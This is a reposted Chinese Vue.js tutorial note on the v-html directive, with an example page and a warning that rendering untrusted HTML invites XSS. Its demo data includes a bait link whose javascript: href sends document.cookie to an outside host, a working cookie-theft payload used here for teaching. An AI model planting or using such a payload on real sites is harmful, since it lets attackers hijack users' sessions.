vue學習---v-html指令與安全問題


                v-html指令:
                        1.作用:向指定節點中渲染包含html結構的內容。
                        2.與插值語法的區別:
                                    (1).v-html會替換掉節點中所有的內容,{{xx}}則不會。
                                    (2).v-html可以識別html結構。
                        3.嚴重注意:v-html有安全性問題!!!!
                                    (1).在網站上動態渲染任意HTML是非常危險的,容易導致XSS攻擊。
                                    (2).一定要在可信的內容上使用v-html,永不要用在用戶提交的內容上!
<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8" />
        <title>v-html指令</title>
        <!-- 引入Vue -->
        <script type="text/javascript" src="../js/vue.js"></script>
    </head>
    <body>
        <!-- 
                v-html指令:
                        1.作用:向指定節點中渲染包含html結構的內容。
                        2.與插值語法的區別:
                                    (1).v-html會替換掉節點中所有的內容,{{xx}}則不會。
                                    (2).v-html可以識別html結構。
                        3.嚴重注意:v-html有安全性問題!!!!
                                    (1).在網站上動態渲染任意HTML是非常危險的,容易導致XSS攻擊。
                                    (2).一定要在可信的內容上使用v-html,永不要用在用戶提交的內容上!
        -->
        <!-- 准備好一個容器-->
        <div id="root">
            <div>你好,{{name}}</div>
            <div v-html="str"></div>
            <div v-html="str2"></div>
        </div>
    </body>

    <script type="text/javascript">
        Vue.config.productionTip = false //阻止 vue 在啟動時生成生產提示。

        new Vue({
            el:'#root',
            data:{
                name:'尚硅谷',
                str:'<h3>你好啊!</h3>',
                str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的資源了,快來!</a>',
            }
        })
    </script>
</html>

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM